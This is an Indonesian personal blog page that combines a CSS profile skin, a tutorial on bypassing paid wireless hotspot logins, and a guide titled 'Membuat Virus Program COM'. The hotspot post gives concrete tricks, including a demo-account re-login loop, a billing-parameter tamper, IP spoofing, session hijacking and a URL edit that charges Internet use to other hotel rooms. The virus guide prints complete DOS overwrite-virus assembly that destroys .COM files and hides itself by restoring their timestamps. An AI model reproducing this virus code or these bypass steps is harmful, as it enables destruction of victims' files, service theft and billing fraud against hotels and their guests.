Sabtu, 24 Januari 2009

NARUTO BACKGROUND

/*BODY*/
body {
background: url(http://img145.imageshack.us/img145/9026/background21024×768fv4.jpg) fixed no-repeat;
}

/*LINKS*/
a:link {
color: #ff0000;
text-decoration: underline;
}
a:visited {
color: #ff0000;
text-decoration: underline;
}
a:hover {
color: #c41313;
text-decoration: underline line-through;
}

/GOOGLE ADS*/
.rail {
width: 160px;
padding-right: 10px;
}
.railstart {
margin-top: 10px;
height: 154px;
width: 160px;
background: url(http://i24.photobucket.com/albums/c42/chad9126/Cromium/Margin-2.jpg) no-repeat top left;
background-position: 0 0;
z-index: 1000;
position: relative;
}
.railbody {
padding: 15px;
width: 129px;
font-size: 12px;
border-left: 1px dotted #c41313;
border-right: 1px dotted #c41313;
background: none;
border: none;
z-index: 1000;
position: relative;
background-color: #ffdcdc;
}
.railsep {
height: 1px;
border: 24px 0px 24px 0;
background: none;
background-color: #c41313;
}
.railend {
height: 154px;
width: 160px;
background: none;
background: url(http://i24.photobucket.com/albums/c42/chad9126/Cromium/Margin2-1.jpg) no-repeat top left;
}
td.rail {
background-color: #ffdcdc;
padding: 0;
margin: 0;

/*TOP BANNER*/
}
div.owner_nav {
border: none;
margin: 0 auto;
margin-top: 20px;
height: 222px;
height: 25px;
width: 780px;
border: 0px solid #fff;
border-bottom: none;
padding: 136px 0 0 0;
background: url(http://i24.photobucket.com/albums/c42/chad9126/Cromium/TopBanner-1.jpg) no-repeat top left;
background-color: #fff;
background-position: 0 -10px;
}

/*TOP MENU*/
div#subnavc {
width: 780;
height: 40px;
background: url(http://i24.photobucket.com/albums/c42/chad9126/Cromium/Menu-1.jpg) no-repeat top left;
background-color: #3f3f3f;
border-top: 0 solid #fff;
padding: 0px;
}
div#subnav {
padding: 2px;
padding-top: 8px;
padding-left: 265px;
background: none;
border: none;
height: auto;
}

/*TOP MENU ITEMS*/
a.topt, a:visited.topt {
text-decoration: none;
line-height: 1.2em;
display: block;
float: left;
height: auto;
text-align: center;
background: none;
font-size: 14px;
color: #c41313;
width: auto;
padding: 2px;
margin-left: 5px;
margin-right: 5px;
}

a:hover.topt {
text-decoration: underline line-through;
letter-spacing: 0.08cm;
line-height: 1.2em;
display: block;
float: left;
height: auto;
text-align: center;
background: none;
font-size: 14px;
color: #fff;
width: auto;
padding: 2px;
margin-left: 5px;
margin-right: 5px;
}

a.toptsel, a:visited.toptsel {
text-decoration: underline;
line-height: 1.2em;
display: block;
float: left;
height: auto;
text-align: center;
background: none;
font-size: 14px;
font-weight: bold;
color: #fff;
width: auto;
padding: 2px;
margin-left: 5px;
margin-right: 5px;
background: none;
}

a:hover.toptsel {
text-decoration: underline line-through;
letter-spacing: 0.08cm;
line-height: 1.2em;
display: block;
float: left;
height: auto;
text-align: center;
background: none;
font-size: 14px;
font-weight: bold;
color: #ff0000;
width: auto;
padding: 2px;
margin-left: 5px;
margin-right: 5px;
background: none;
}

/*MULTIPLY USER MENU*/
li.gnopt a, li.gnopt a:visited, li.gnopt a:link {
font-size: 10px;
color: #ffffff;
text-decoration: underline;
}

li.gnopt a:hover, li.gnoptsel a:hover (
color: #ffffff;
text-decoration: line-through;

li.gnoptsel {
border-color: #abd;
border-color: #ccc;
}

/*TITLE*/
h1#page_owner_title {
text-align: center;
letter-spacing: 0.5cm;
font-size: 20px;
background-color: none;
background: none;
color: #fff;
font-weight: bold;
width: 780px;
height: 68px;
padding-left: 0;
}

/*MAIN PAGE(UNSURE)*/
div#page_start {
padding: 0;
height: 1%;
width: 760px;
border: 10px solid #fff;
border-top: none;
border-bottom: none;
margin: 0 auto;
}

/*LOCATION TEXT*/
div#rail {
color: #ff0000;
text-align: center;
width: 160px;
}

/*USERMENU(UNSURE)*/
a.gnoptsel, a:link.gnoptsel a:visited.gnoptsel {
font-size: 10px;
color: #ffffff;
margin: -2px 0 0 0;
width: 84px;
}

/*FOOTER*/
div#ownedfooter {
margin:0 auto;
width: 780px;
height: 150px;
border-top: 1px dotted #c41313;
font-size: 10px;
color: #000000;
background-color: #ffdcdc;
background: url(http://i24.photobucket.com/albums/c42/chad9126/Cromium/BottomHot.jpg) no-repeat top left;
}

div.stats {
border-bottom: none;
}

/*BOX HEADER*/
.itemboxsub {
letter-spacing: 0.08cm;
color: #c41313;
font-weight: normal;
font-size: 24px;
font-family: serif;
border: none;
padding: 0;
background: none;
max-width: 550px;
}

/***/
.rolloverfordnd {
color: #7c9606;
color: #666;
font-weight: normal;
font-size: 24px;
font-family: serif;
border: none;
padding: 0;
background: none;
background-color: #e4f77c;
max-width: 550px;
}

.itemshadow {
max-width: 550px;
}

.itemsubsub {
font-size: 10px;
font-weight: normal;
line-height: 10px;
text-align: right;
color: #8da217;
color: #666;
}
.itemstamp {
float: right;
font-size: 10px;
font-weight: normal;
margin: -5px 0 5px 0;
margin: 0;
color: #8da21 7;
}

/*ITEM CONTENTS AREA*/
.itembox {
border: none;
padding: 5px;
margin: 0px;
line-height: 1.2;
overflow: visible;
height: 1%;
background: none;
background-color: #fff;
color: #ff0000;
border-top: 1px dotted #c41313;
}

/***/
.itemboxalbum {
border: none;
padding: 5px;
margin: 0px;
line-height: 1.2;
overflow: visible;
height: 1%;
background: none;
background-color: #fff;
color: #666;
border-top: 1px dotted #c41313;
}
.itemactionspacer {
height: 30px;
}
a.mine, a.mine:link, a:visited.mine {
/* color: #b40b0b; border: none; background-color: #fff; margin: 0 2px 0 2px; */
color: #b40b0b; border: none; background: none;
}
div.ritemactions a, div.ritemactions a:link, div.ritemactions a:visited {
/* color: #0b5eb4; border: none; background-color: #fff; margin: 0 2px 0 2px; */
color: #0b5eb4; border: none; background: none;
}
a.go, .go {
color: #090; border: none; background: none;
}

/*USER PHOTO*/
.rail .userlogo {
border: 1px dotted #c41313;
}

/***/
.caldiv1 { background-color: #ccc; }
.caldiv1 td { font-size: 10px; }
.caldate { font-size: 13px; font-weight: bold;}
.cald { float:right; text-align: center; background-color: #fff; padding: 0px 4px 0px 4px; margin: -3px -3px 3px 3px; border: 1px solid #ccc; width: 20px}
.calevent { margin: 0px 0px 8px 0px; }
.caldiv1 td:hover { background-color: #fff; }
.caldiv1 th {
background-color: #ccc;
color: #000;
font-size: 10px;
font-weight: normal;
text-align: center;
}
.caldiv1 th a, .caldiv1 th a:visited { color: #fff; }
table.globalnav {
border: none;
background: none;
}
.header .globalnav ul.gnopt a, div.header table.globalnav a.select { color: #fff; }
div.header table.globalnav h3 { color: #ceee15 }
.navinput {
border: none;
color: #666;
}
table.indextitle {display: none;}
td#maincontent { padding: 0 25px 0 0; margin: 0; background-color: #fff; }
div.header {
width: 780px;
margin: 0 auto;
background: none;
}

/*VIEWING HISTORY*/
.infobox {
background: none;
background-color: #ffffff;
border: none;
border-top: 1px dotted #c41313;
}

div.infobox .boxbody {
background-color: #ffffff;
border: none;
border-top: 1px dotted #c41313;

}
div.infobox .boxbody a:link, div.infobox .boxbody a:visited {
color: #ff0000;
text-decoration: underline;
}

/***/
div.gndd {
color: #ccc;
background-color: #333;
border: 1px solid #ccc;
}
div.ddsep { background-color: #ccc; }
div.gndd a {
font-weight: bold;
border: 1px solid #333;
}
div.gndd a:hover {
background-color: #999;
}

/*LINK ARROW*/
li
{ list-style-image: url(http://images.multiply.com/multiply/style/avlack/arrow.png);
}

/***/
div.guidebox {
background: none;
background-color: #fff;
color: # ff0000;
border: 1px dotted #c41313;
}
div.add_sublabel a:hover {
color: #c41313;
text-decoration: underline line-through;
}
span.signoutid a, span.signoutid a:visited, span.signoutid a:link, span.signoutid:hover, a.signoutid, a.signout, a.signout:visited, a.signout:link {
color: #ff0000;
text-decoration: underline line-through;
font-size: 10px;

}

/*REPLY BOX*/
.replybox {
color: #000000;
padding: 6px;
margin: 20px 3px
background-color: #ffdcdc;
border: 1px dotted #c41313;
}

Selasa, 14 Oktober 2008

Wireless Hotspot

---// Pendahuluan

Wireless hotspot merujuk pada implementasi jaringan wireless (nirkabel)
yang memanfaatkan protokol IEEE 802.11x untuk keperluan akses Internet
publik. Implementasi jaringan wireless ini dapat digunakan tanpa bayar,
biasanya akses diberikan oleh penyedia layanan untuk keperluan promosi,
atau berbayar.

Di kota-kota besar di Indonesia, seperti Jakarta, Bandung, dan Surabaya,
wireless hotspot dapat ditemukan di mall, plaza, hotel, atau airport.
Dengan ekspetasi pengguna yang beragam, dari geek sampai mereka yang
gagap teknologi, maka wireless hotspot didesain untuk memberikan kemudahan
dalam penggunaan. Oleh karena itu, kebanyakan wireless hotspot tidak
memberikan perlindungan penuh terhadap penyalahgunaan jaringan wireless.

Tulisan ini merupakan uraian panjang dari presentasi teknis yang pernah
saya bawakan dengan judul yang sama pada konferensi keamanan informasi
dan hacking internasional di Kuala Lumpur [1] , Malaysia tahun 2005 dan
Prague [2] , Czech Republic tahun 2006. Gunakan keajaiban mesin pencari
online untuk mengetahui lebih lanjut mengenai saya.

Tulisan ini terbagi menjadi dua bagian. Bagian kedua akan dipublikasikan
pada rilis echo|zine mendatang.


---// Menggunakan Wireless Hotspot

Jika Anda belum pernah memanfaatkan layanan wireless hotspot, maka
langkah-langkah berikut dapat Anda lakukan ketika Anda berada dalam
jangkauan akses wireless hotspot.

1. Siapkan device yang akan digunakan untuk mengakses wireless hotspot.
Device dapat berupa laptop, PDA, atau telepon selular.

2. Asosiasikan device Anda pada hotspot SSID (Service Set Identifier)
untuk mendapatkan konfigurasi jaringan. Biasanya jaringan wireless
hotspot menggunakan layanan DHCP untuk keperluan ini.

3. Gunakan web browser untuk mulai mengakses Internet. Jika Anda
mendapatkan tampilan web yang meminta login username dan password
(terkadang cukup password saja), maka Anda harus memasukan username
dan password yang sudah disiapkan. Jika Anda dapat langsung
menggunakan akses Internet, Anda beruntung. Dan mungkin Anda tidak
perlu membaca kelanjutan dari artikel ini. Namun kalau Anda hanya
dapat mengakses beberapa website tertentu saja, besar kemungkinan
Anda akan diminta username dan password untuk mengakses website
yang lainnya.

4. Jika Anda sudah memasukkan username dan password, dan berhasil
terautentikasi. Anda selanjutnya dapat mengakses Internet sampai
kredit akses Anda habis atau perhitungan akses dihitung setelah Anda
menggunakan akses Internet (ini biasanya berlaku bagi mereka yang
juga adalah pelanggan penyedia layanan Internet).


---// Mendapatkan Akses

Beberapa cara yang dapat dilakukan untuk mendapatkan akses wireless hotspot,
tergantung dari penyedia layanan, namun secara garis besar Anda dapat
melakukan hal-hal berikut:

1. Membeli prepaid card. Penyedia layanan seperti CBN, Indosat, dan
BizNet menyediakan prepaid card dengan nominal tertentu.

2. Membayar hak akses dengan kartu kredit. Berlaku jika penyedia layanan
memberikan pilihan ini. Saya hanya menemukan fitur ini pada wireless
hotspot di luar negeri.

3. Registrasi via SMS. Penyedia layanan wireless hotspot yang juga
penyedia layanan telekomunikasi selular bergerak biasanya memberikan
kemudahan pada pelanggannya. Hak akses online pada wireless hotspot
dapat ditukar dengan nilai kredit kartu telepon selular pra-bayar.
Saya pernah menemukan Indosat memberikan layanan ini.

4. Mengalihkan tagihan online pada tagihan kamar hotel. Ini berlaku
jika Anda menggunakan layanan wireless hotspot dari kamar hotel
dimana harga yang harus dibayarkan nanti seringkali jauh lebih
mahal. Sebagai contoh, M@giNET bekerja sama dengan hotel Westin
di Kuala Lumpur, untuk memberikan layanan wireless akses bagi mereka
yang menginap di hotel tersebut.

5. Melakukan aktivitas social engineering untuk mendapatkan username
dan password. Silakan mengira-ngira sendiri karena saya tidak akan
membahas hal ini.

6. Mencari jalan keluar sendiri untuk mendapatkan username dan password
atau untuk langsung dapat menggunakan layanan akses Internet.
Beberapa trik akan dijelaskan pada bagian lain di artikel ini.


---// Analisis Desain Wireless Hotspot

Beberapa hal yang saya berhasil saya simpulkan dari sejumlah implementasi wireless
hotspot yang telah saya coba, antara lain:

1. Tidak adanya standarisasi untuk setup sebuah hotspot. Dengan kata
lain, setup jaringan dari penyedia layanan akan berbeda dengan
penyedia layanan yang lain. Hal lain yang berpengaruh adalah
pemilihan produk.

2. Banyak dari penyedia layanan wireless hotspot yang memberikan akses
roaming, memungkinkan pengguna untuk mengakses layanan di tempat
yang berbeda asalkan ada layanan dari penyedia yang dimaksud.
Sebagai contoh, jika Anda memiliki hak akses untuk layanan wireless
hotspot yang disediakan oleh Indosat, maka Anda dapat mengakses
dilebih dari 30 tempat, dengan akses point berjumlah lebih dari
190 buah. Dan sebagai informasi tambahan, kesemua akses point
tersebut semuanya terhubung dan dikontrol dari pusat.

3. Autentikasi biasanya digunakan untuk keperluan akses Internet.
Yang berarti jika Anda terhubung ke sebuah akses point wireless
hotspot namun tidak ingin mendapatkan akses Internet, Anda masih
dapat menggunakan jaringan wireless secara lokal dan berhubungan
dengan pengguna jaringan wireless yang lain (jika dan hanya jika
penyedia layanan mengijinkan hal ini).

4. Untuk keperluan autentikasi, penyedia layanan biasanya akan
menyediakan Internet gateway (yang biasanya terdapat web server,
DNS server, database server, dan mail server di dalamnya) dan satu
atau lebih akses point. Beberapa produk yang sering digunakan
sebagai Internet gateway untuk layanan hotspot antara lain
diproduksi oleh ANTLabs (seperti yang digunakan oleh Indosat dan
CBN), Nomadix (digunakan oleh M@giNET), perangkat lunak gratis
NoCatsAuth atau yang serupa (seperti yang digunakan oleh Melsa).

5. Seringkali tidak ditemukan segregasi jaringan untuk pengguna. Baik
bagi mereka yang belum terautentikasi maupun yang belum. Hal ini
memungkinkan seseorang melakukan aktivitas hacking terhadap
pengguna layanan wireless hotspot yang lain.

6. Juga sering ditemukan para penyedia layanan wireless (ataupun
produsen produk Internet gateway) menggunakan aplikasi yang sudah
out-of-date. Sebagai contoh, sebuah produk ANTLabs menggunakan
Red Hat Linux release 6.2 (Zoot) sebagai sistem operasi.
Terhitung perangkat lunak yang digunakan seperti MySQL, arpd, dan
Apache, juga out-of-date.


---// Mengakali Proses Autentikasi Wireless Hotspot

Ada banyak hal yang seseorang dapat lakukan untuk mengakali proses
autentikasi. Beberapa cara yang dibahas dalam artikel ini hanya mencakup
sebagian kecil aspek yang memanfaatkan kelemahan desain dari sebuah
wireless hotspot gateway. Mengingat bahwa materi sudah pernah
dipresentasikan di depan publik, besar kemungkinan penyedia layanan
maupun vendor dari produk-produk yang terkena dampaknya sudah
memperbaiki celah-celah yang dimaksud.

Sebagai pemberitahuan, tidak ada nama vendor yang akan diasosiasikan
dengan celah yang saya temukan. Silakan mengira-ngira sendiri. Dan
trik-trik yang dijelaskan hanya dapat direplikasikan jika Anda berada
dalam environment sistem operasi berbasis Unix/Linux (kebetulan saya
menggunakan Mac OS X).


1. Memanfaatkan demo account.

Banyak penyedia layanan yang berbaik-hati memberikan kesempatan
bagi calon pengguna untuk dapat mengakses Internet dalam kurun
waktu yang dibatasi. Pada halaman autentikasi biasanya disebutkan
username dan password untuk keperluan ujicoba.

Seseorang yang menggunakan account ujicoba/demo harus melakukan
autentikasi ulang setelah masa penggunaan berakhir. Namun hal
tersebut dapat dilakukan secara otomatis dengan menggunakan script
seperti ini.

---------------------------------------------------------------------
#!/bin/sh

while sleep 3;
do
curl --data
"username=demo&password=demo&submitForm=login"
"https://server ort/goform/HtmlLoginRequest";
done
---------------------------------------------------------------------

2. Menggunakan tunneling.

Beberapa implementasi hotspot dapat diakali dengan memanfaatkan
metode tunneling. Implementasi yang dimaksud adalah implementasi
yang tidak melakukan pemblokiran terhadap port atau protokol
tertentu. 0x05

Sebagai contoh, sebuah hotspot hanya melakukan pengalihan untuk
semua query HTTP dan HTTPS ke halaman login autentikasi bagi
pengguna yang belum terautentikasi. Anda dapat menggunakan
socks-tunneling via SSH karena port yang digunakan untuk SSH tidak
terfilter. Anda dapat menambahkan option 'DynamicForward' pada
konfigurasi SSH user Anda (lihat file ~/.ssh/config).

--------------------------------------------------------------------
...
Host titanium
Hostname titanium.justanotherrandomdomain.com
Port 22
User whfb
DynamicForward 22344
...
--------------------------------------------------------------------

Jika Anda sudah melakukan koneksi SSH ke host titanium, maka secara
otomatis, port 22344 akan terbuka. Anda dapat menambahkan IP
127.0.0.1 dan port 22344 pada konfigurasi jaringan di web browser
Anda untuk pilihan SOCKS proxy.

Namun cara yang disebutkan di atas tidak selalu berhasil karena
gateway melakukan pengalihan pada semua port TCP dan UDP. Untuk
mengakali kondisi tersebut, jika dapat memanfaatkan DNS tunneling.
Mengapa protokol DNS? Karena sebagian besar penyedia layanan tidak
melakukan pemblokiran atau pengalihan untuk query DNS.

Silakan merujuk pada referensi DNS Tunneling [3] [4] [5] [6] [7] .

3. Memanfaatkan celah pada aplikasi web portal Internet gateway.

Trik berikut saya temukan ketika saya yang kebetulan mendapatkan
kesempatan untuk menginap di salah satu hotel terkenal dan menemukan
adanya layanan wireless hotspot yang terdapat di lobby.

Pada halaman autentikasi, saya diberikan beberapa pilihan untuk
melakukan pembayaran, antara lain:

a. login menggunakan username dan password dari pre-paid yang dapat
dibeli di lobby,
b. login menggunakan username dan password dari layanan iPass dan
Boingo

Setelah mengamati benar source-code dari halaman web yang digunakan
untuk keperluan autentikasi, saya melihat adanya kejanggalan dimana
pilihan a mempunyai billing_method_id adalah 2, dan pilihan b
mempunyai billing _method_id adalah 3. Yang jadi pertanyaan saya
waktu itu adalah pilihan apa yang mempunyai billing_method_id
adalah 1. Dengan niatan mencoba-coba, saya lalu mengganti variable
query billing_method_id dengan nilai 1, ternyata saya dapat
langsung mengakses Internet.

--------------------------------------------------------------------
http://host/defaultportal/check_form.cgi?&billing_method_id=1
--------------------------------------------------------------------

Belakangan hari setelah saya berkesempatan meminjam produk yang
digunakan sebagai Internet gateway tersebut, saya mengetahui bahwa
billing_method_id dengan nilai 1 adalah pilihan untuk melakukan
penagihan pada kamar. Sesuatu yang tidak mungkin dilakukan karena
saya mengaksesnya dengan menggunakan wireless dari lobby. Setelah
berkorespondensi dengan technical support vendor produk yang
dimaksud, saya baru mengetahui bahwa pilihan tersebut hanya
efektif jika pelanggan menggunakan kabel dan bukan wireless.

4. Mengganti IP address

Ditemukan beberapa implementasi wireless hotspot yang diketahui
membagi alokasi IP address pada pengguna yang belum terautentikasi
dan user yang sudah terautentikasi. Setelah pengguna berhasil
melewati proses autentikasi, gateway akan mengingat MAC address
Anda dan memberikan IP address baru (pada subnet yang baru) bagi
pengguna tersebut.

Menggunakan perangkat lunak packet sniffer seperti tcpdump atau
ethereal (sekarang wireshark), Anda dapat mengetahui IP address apa
saja yang melintasi jaringan wireless Anda. Anda dapat mengira-ngira
sendiri alokasi IP address yang 'baru' berikut dengan netmask-nya.

Sebagai contoh, jika belum terautentikasi Anda mendapatkan IP
address 10.0.0.14 dengan netmask 255.255.255.0, dan setelah Anda
terautentikasi, Anda mendapatkan IP address 10.0.1.18 dengan
netmask 255.255.255.0.

Jika Anda tidak ingin melakukan proses autentikasi, Anda cukup
mengkonfigur IP Address Anda pada range network pengguna yang sudah
terautentikasi.

5. Piggyjacking

Saya mendefinisikan piggyjacking sebagai aktivitas untuk mendapatkan
akses pada sebuah sesi akses wireless dengan mengambil-alih sesi
yang sudah terlebih dahulu terautentikasi untuk mendapatkan akses
Internet.

Untuk melakukannya, Anda membutuhkan informasi:
- IP address dan MAC address pengguna yang sudah terautentikasi
- IP address gateway

Anda dapat merujuk pada presentasi Dean Pierce, Brandon Edwards &
Anthony Lineberry yang diberikan di DEFCON 13 [8] untuk penggunaan
perangkat lunak 'pul'. Jika Anda ingin melakukan dengan metode
manual, Anda dapat mengikuti prosedur yang disebutkan pada
point 4 di atas.

6. SQL Injection pada aplikasi portal gateway

Beberapa hotspot ternyata dapat diakali dengan memanfaatkan teknik
SQL injection. Saya pikir tidak perlu menjelaskan lebih jauh
mengenai teknik ini karena sudah seringkali dibahas. Tidak hanya
untuk mem-by-pass akses Internet, teknik ini juga dapat mem-by-pass
autentikasi administrative page.

7. Memindahkan tagihan ke kamar lain.

Jika Anda beruntung menginap pada hotel yang memberikan layanan
Internet berbayar menggunakan kabel pada kamar hotel. Anda mungkin
dapat menerapkan trik ini. Trik berikut ini hanya dapat dilakukan
pada jaringan kabel pada hotel (tidak berhubungan dengan wireless),
namun saya bahas di sini karena produk gateway yang digunakan sama
dengan layanan wireless hotspot.

Anda mungkin dapat 'menyusahkan' orang lain dengan mengalihkan
tagihan Internet kamar Anda atau mengalihannya ke kamar kosong.

Sebagai contoh, Anda dapat memodifikasi query HTTP seperti berikut
ini
--------------------------------------------------------------------
http://HOTSPOT_GATEWAY/mlcbb/mlc/welcome.asp?UI=012345&
UURL=http://BILLING_SERVER/userok.htm&MA=00AABBCCDDEE&RN=1234&
http://google.com/&SC=12345
--------------------------------------------------------------------
Anda cukup menganti nilai 00AABBCCDDEE (MAC address) dan 1234
(nomor kamar). Tagihan akan ditujukan pada kamar baru jika kamar
tersebut ada.

Untuk amannya, saya menyarankan Anda mencari informasi nomor ruangan
yang digunakan untuk keperluan publik seperti ballroom atau lobby.


---// Penutup Bagian I

Seperti yang sudah disinggung di atas, materi yang dibahas pada artikel ini
hanya setengah dari keseluruhan materi. Pada bagian kedua akan dibahas
mengenai isu bocornya identitas pengguna yang menggunakan wireless hotspot,
dan pemanfaatan teknik 'eviltwin' untuk mengelabui pengguna serta isu lain
yang berhubungan dengan penggunaan wireless hotspot.

Jika Anda adalah pengguna dan menemukan kesulitan dalam mereplikasikan
teknik-teknik yang disebutkan, saya hanya dapat mengatakan bahwa artikel
ini tidak ditujukan untuk memberikan panduan mudah hacking wireless
hotspot. Ide dan trik yang dibahas dapat Anda kembangkan sendiri.

Bila Anda melakukan tindakan berdasarkan teknik-teknik yang dijelaskan
di atas dan kemudian menghadapi masalah hukum. Anda adalah orang bodoh.



---// Referensi

1). Hack In The Box Security Conference 2005,
http://conference.hackinthebox.org/

2). IT-Underground Prague 2006,
http://itunderground.org/en/conferences/it_underground.html

3). NSTX (IP-over-DNS) Howto,
http://thomer.com/howtos/nstx.html

4). DNS tunneling,
http://www.daemon.be/maarten/dnstunnel.html

5). DNStunnel.de - Free DNS Tunneling Service,
http://dnstunnel.de/

6). Public Access to Tor via DNS,
http://afs.eecs.harvard.edu/~goodell/blossom/tor-via-dns.html

7). Quick tunneling IP over DNS guide,
http://www.digitalsec.net/stuff/texts/dns-tunnelingv0.2-en.txt

8). Bypassing Authenticated Wireless Networks,
http://www.defcon.org/images/defcon-13/dc13-presentations/
DC_13-Pierce-Edwards-Lineberry/DC_13-Pierce-Edwards-Lineberry.pdf

Jumat, 19 September 2008

Ni dia Trik bagi kamu yang pengen belajar Linux

Nonton Video Belajar Programming LINUX lewat DOS PROMPT
ketik Start, Run, cmd trus ketikan
Code:

telnet movie.gotfault.net 1001

catatan : angka 1001 bisa diisi sampai dengan 1004

Yang ini keren Banget kita tinggal nonton aja
Enjoy the Weekend

Membuat Virus Program COM


Anda tentunya sudah biasa menulis program dengan bahasa assembly, yang menghasilkan program dengan ektension com. Pada bagian ini, Penulis tidak akan menjelaskan bagaimana Kita menulis atau membuat program dengan ekstension com, tetapi pada bagian ini akan Kita lihat secara teknis, bagaimana program dengan ekstension com itu bekerja. Untuk mempelajari bahasa assembly, anda bisa membaca buku "Belajar Sendiri Pemrograman Bahasa Assembly" keluaran dari gramedia, karena penulis yang sama maka semua programming disini menggunakan gaya yang tetap sama.

Sebelum penulis menjelaskan jalannya program dengan ektension com bekerja, supaya lebih mudah dimengerti maka akan diberikan satu contoh format dasar penulisan program dengan ektension com :

.Model Small
.Code
Org 100h
Label : Jmp Label2
Dataku Db ”Tempat Data Program Com”
Label2:
Mov AH,09h
Lea DX,Dataku
Int 21h
Int 20h

End Label1

Jika Anda perhatikan maka dapat Anda lihat bahwa pada program com yang normal, selalu terdapat perintah .Org 100h yang merupakan perintah agar pada saat program ini dijalankan oleh system operasi disediakan 100h (256) byte kosong. Atau dengan kata lain program com yang Kita buat akan dijalankan pada offset ke 100h atau 256. Mungkin Anda bertanya, untuk apa Kita menyediakan 100h byte kosong ini ? Ke 100h byte kosong ini Kita disiapkan untuk ditempati oleh PSP (Program Segment Prefix) yang dibuat oleh system operasi untuk mengatur jalannya program Kita ini.

Program Segment Prefix (PSP)
Program Segment Prefix atau yang sering disingkat menjadi PSP, merupakan peninggalan dari era CP/M. PSP yang terdiri atas 100h atau 256 byte ini digunakan untuk menyimpan berbagai informasi yang penting untuk program yang sedang dijalankan. Berikut adalah strukture dari ke 100h byte PSP dari program :

Offset Sebanyak Untuk

00h 2 Byte Alamat pemanggilan interupsi 20h
02h 1 Word Alamat segment dari memory yang disediakan untuk program
04h 1 Byte Cadangan
05h 5 Byte Alamat pemanggilan interupsi 21h
0Ah 2 Word Vektor Interupsi 23h
0Eh 2 Word Vektor Interupsi 23h
12h 2 Word Vektor Interupsi 24h
16h 22 Byte Cadangan
2Ch 1 Word Alamat segment environment
2Eh 46 Byte Cadangan
5Ch 16 Byte FCB1
6Ch 16 Byte FCB2
80h 1 Byte Banyaknya karakter dari baris perintah
81h 127 Byte Command Line

Pembuatan Virus 001
Virus yang pertama ini adalah virus yang akan menyerang semua program dengan ektensi .COM dimana cara kerjanya adalah mencari semua program yang ada didirektory aktif semua program dengan ektensi .COM dan menularkan virus kepadanya. Program yang telah ditulari virus tidak akan bisa berjalan secara normal karena program yang asli telah ditimpa oleh program virus. Virus ini adalah virus yang tidak residen.

Dari Gambar 1.1. Dapat Anda lihat bahwa virus overwrite akan menimpa dirinya keawal program yang dutulari virus. Virus ini akan merusakkan program yang ditulari. Program yang telah ditulari akan dijaga ukuran aslinya, sehingga kehadiran virus tidak mudah untuk diketahui.

; Catatan :
; Virus Overwrite yang akan merusak program yang ditumpangi. Penyebaran hanya pada direktory
; aktif saja. Program ini tidak residen dan merupakan virus yang paling sederhana.
.Model Small
.Code
Org 100h
V_Length equ last-start
Start label near ; Awal Dari Virus
mov ah,4Eh ; Cari File Com Pertama
mov dx,offset filename; ds:dx - > Asciiz"*.com"
Int 21h
Back :
mov ah,43h ; Untuk mendapatkan Atribut File
mov al ,0 ; ...... idem atas .......
mov dx,9Eh ; Awal File Com yang ditemukan
int 21h ;
mov ah,43h ; Ubah Atribut File Yang Ditemukan
mov al,01 ; ...... idem Atas .......
and cx,11111110b ; Matikan Read Only
int 21h ;

mov ax,3D01h ; Buka file untuk write only
mov dx,9Eh ; Nama File Di DTA
int 21h ;

mov bx,ax ; Bx = File Handle
mov ah,57h ; Dapatkan Tanggal File
mov al,0 ; .... Idem Diatas .....
int 21h ;

push cx ; Simpan Jam
push dx ; Simpan Tanggal

mov dx,100h ; Data Awal Virus
mov cx,v_length ; Panjang Virus
mov ah,40h ; Tulis Virus Ke File
int 21h ;

pop dx ; Ambil Data tanggal
pop cx ; Ambil Data Jam
mov ah,57h ; Set jam dan
mov al,01h ; Tanggal File
int 21h ;

mov ah,3Eh ; Tutup File Tersebut
int 21h ; ...........

mov ah,4Fh ; Cari File Selanjutnya
int 21h ;

jnc Back ; Jika Ditemukan, Lompat
mov ah,9h ; Tulis Pesan
mov dx,offset Data ; Data Ke Layar
int 21h ;

Done: int 20h ; Terminate Program
Filename db "*.com",0
Data db " File Pada Direktory ini Telah Terserang Virus Semuanya$"
Last label near
end start

Cara Kerja Virus :
.Model Small
.Code
Org 100h
V_Length equ last-start
Start label near ; Awal Dari Virus

Pada awal program, variable V_Length akan menghitung panjang, atau besarnya program virus komputer ini. Dengan mengetahui besarnya program virus yang dibuat, maka Kita bisa mengcopy program virus ini kedalam program yang lain.

mov ah,4Eh ; Cari File Com Pertama
mov dx,offset filename; ds:dx - > Asciiz"*.com"
Int 21h

Pertama-tama, carilah program target yang akan ditulari dengan fungsi dos, dimana register dx menunjukkan file yang akan dicari. pencarian ini hanya akan mencari program “*.com” yang ada didirektory aktif saja, artinya program “*.com” yang terdapat pada direktory lain tidak akan tertular.

Back :

mov ah,43h ; Untuk mendapatkan Atribut File
mov al ,0 ; ...... idem atas .......
mov dx,9Eh ; Awal File Com yang ditemukan
int 21h ;
mov ah,43h ; Ubah Atribut File Yang Ditemukan
mov al,01 ; ...... idem Atas .......
and cx,11111110b ; Matikan Read Only
int 21h

Setelah mendapatkan file yang dicari, bacalah atribut dari file tersebut, untuk mencegah Kita terprotek dalam penulisan file yang mempunyai atribut read-only. Selanjutnya dengan logika ”and”, Kita akan mematikan atribut read-only dari file yang ditemukan sehingga Kita bisa melakukan penulisan pada file tersebut.

mov ax,3D01h ; Buka file untuk write only
mov dx,9Eh ; Nama File Di DTA
int 21h ;

mov bx,ax ; Bx = File Handle
mov ah,57h ; Dapatkan Tanggal File
mov al,0 ; .... Idem Diatas .....
int 21h ;

push cx ; Simpan Jam
push dx ; Simpan Tanggal

Setelah atribut read-only dimatikan, bukalah file tersebut untuk tujuan penulisan virus kedalamnya atau untuk penularannya. Setelah file tersebut dibuka, simpalah handle atau kode file tersebut ke dalam register bx. Selanjutnya, carilah tanggal dan jam dari file yang telah dibuka, kemudian simpanlah hasilnya.

mov dx,100h ; Data Awal Virus
mov cx,v_length ; Panjang Virus
mov ah,40h ; Tulis Virus Ke File
int 21h ;

pop dx ; Ambil Data tanggal
pop cx ; Ambil Data Jam
mov ah,57h ; Set jam dan
mov al,01h ; Tanggal File
int 21h ;

mov ah,3Eh ; Tutup File Tersebut
int 21h ; ...........

Program dengan ekstension com selalu dimulai pada offset ke 100h (256 Byte) yang disediakan untuk PSP. Maka karena program virus Kita yang pertama juga dengan ekstension com, maka untuk mengcopykan virus ke file yang lain, Kita akan mencopykan data mulai offset ke 100 sebanyak besar virus yang telah ditemukan.

Setelah itu, aturlah jam dan tanggal dari jam dan tanggal yang telah Kita dapatkan sebelumnya. Kemudian aturlah supaya jam dan tanggal dari program atau file yang telah ditulari virus tidak berubah. Akhirnya, selesailah tugas penyebaran dan tutuplah file tersebut.

mov ah,4Fh ; Cari File Selanjutnya
int 21h ;
